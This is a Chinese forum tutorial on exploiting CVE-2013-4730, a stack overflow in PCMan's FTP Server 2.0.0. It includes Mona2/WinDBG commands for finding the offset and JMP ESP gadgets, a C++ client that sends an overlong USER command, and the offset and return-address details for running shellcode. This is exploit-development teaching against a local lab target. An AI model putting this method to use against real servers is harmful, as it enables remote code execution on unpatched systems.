本帖最后由 Nattevak 于 2022-2-22 16:04 编辑
前期
Mona2是Corelan Team团队开发的一个专门用于辅助漏洞挖掘的脚本插件,Mona可以帮助我们快读的定位溢出点,并且可以帮助我们查找一些用于溢出特殊指令,以及构成复杂攻击代码的小部件。
Mona2安装流程- l 首先需要安装WSK,因为WDK自带WinDBG
- l 安装Python2.7.2
- l 安装Visual C++2008运行库
- l 安装WinDBG的Python插件“Pykd”
- l 将“mona.py”与“windbglib.py”放到WinDBG.exe同目录下
- l 运行WinDBG开始调试,使用“.load pykd.pyd”、“!py mona”命令即可开始使用Mona
Mona2常用命令[Shell] 纯文本查看 复制代码 //-加载Pykd插件
.load pykd.pyd
//-运行Mona
!py mona
//-在线更新mona
!py mona update
//-设置功能工作目录为“D:\Dir\进程名_线程ID\”需要管理员权限
! py mona config -set workingfolder "D:\Dir\%p_%i"
//-生成1000个字节的顺序字符串,用于测试溢出点
! py mona pc 1000
//-获取溢出点偏移(根据淹没返回地址的值判断)
! py mona po 0x12345678
//-查找“JMP ESP”、“PUSH ESP#RET”等指令
! py mona jmp -r esp
//-在“Kernel32.dll”中查找“JMP ESP”、“PUSH ESP#RET”等指令
! py mona jmp -r sep -m "Kernel32.dll"
漏洞编号 CVE-2013-4730
1
1.软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
2.漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。该软件由于未能有效处理FTP命令的长度字符(最大0x1000),进而在调用字符串拷贝函数时(和sprintf功能相同)未判断长度引发栈溢出漏洞,远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
3.验证漏洞
作为网络通信协议而言,其一定会使用到recv()函数,故我们可以对recv()函数下断点,发送POC并进行单步跟踪直至找到漏洞函数。
2
单步跟踪,我们可以看到栈中接收的数据从12ED7C开始
3
进入sub_403E60函数,运行至sprintf函数处,此时可使用IDA同步分析
4
5
由上图可知sprintf函数的目的地址为0012E568。 单步步过sprintf函数,观察内存窗口数据,此时已经完成字符串拼接
6
对应IDA中的信息可以发现,sprintf函数直接复制字符串a2,没有进行长度条件的限制
7
运行至ret,观察堆栈情况,可以看到,由于sprintf函数没有进行限制长度条件的判断,导致堆栈溢出覆盖了返回地址,此时程序会发生崩溃。
8
4.搞定CVE-2013-4730
①前提我们需要一份能与FTP进行交互的代码触发此漏洞,其步骤如下:
1)建立Socket连接,连接目标FTP
2)接受FTP服务器的欢迎语
3)发送“USER XXX”登陆请求
4)接受请求结果(但是这里不会走到这一步,此时FTP服务器已经被攻击完了)
②准备对PCMan's FTP Server程序进行通讯测试
[C++] 纯文本查看 复制代码 #include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
#include<tchar.h>
int _tmain(int argc, _TCHAR* argv[])
{
//1.初始化Winsock服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
//2.创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
//3.在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (LPSOCKADDR)&stService, sizeof(stService));
//4.接受欢迎语
char szRecv[0x100] = { 0 };
recv(stListen, szRecv, sizeof(szRecv), 0);
//5.发送登录请求
char cExpolit[] = "USER anonymous";//Expolit容器
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
//6.关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
}
9
③测试启动PCMan's FTP Server程序后,使用WinDBG附加程序(File->Attach to a Process 或 快捷键F6)
10
使用“.load pykd.pyd”、“!py mona”命令开始使用Mona
11
使用Mona命令“! py mona pc 3000”生成3000个字节的顺序字符串,用于测试溢出点
12
使用Mona生成的有序长字符串进行测试,替换掉之前的“USER anonymmous”字符串
13
再次测试程序,发现程序崩溃了,查看其反馈的异常信息
14
15
使用WinDBG调试,并验证
16
查看栈帧结构,发现栈已被POC发送的数据填满,可以确定存在缓冲区溢出漏洞
17
使用Mona2的命令“!py mona po 0x396f4338”获取溢出点偏移(根据淹没返回地址的值判断)
18
溢出点已经确认,接下来我们需要用Mona2在目标程序空间中找到一个跳板指令“JMP ESP”使用Mona命令“! py mona jmp -r esp”查找“JMP ESP”、“PUSH ESP#RET”等指令
19
可以发现,我们使用的是字符串传输方式,其中默认00为结束符,如果我们使用的字符串中含有00可能会产生截断,所以使用指定模块查找方法,即使用Mona命令“! py mona jmp -r sep -m "Kernel32.dll"”在“Kernel32.dll”中查找“JMP ESP”、“PUSH ESP#RET”等指令
20
一般来说,图中的三个地址0x7661f8f7、0x7661f7df、0x765619b8都可以使用为跳板指令。
④攻击
21
22
由上文可知偏移为2006,其中“USER ”占5位(USER后有一个空格),所以此处使用的偏移应为2001。将JMP ESP的地址填充到RetnAddr的位置,使用此地址覆盖返回地址后,将我们自己的Shellcode随后放在其后面即可。
利用成功
23
|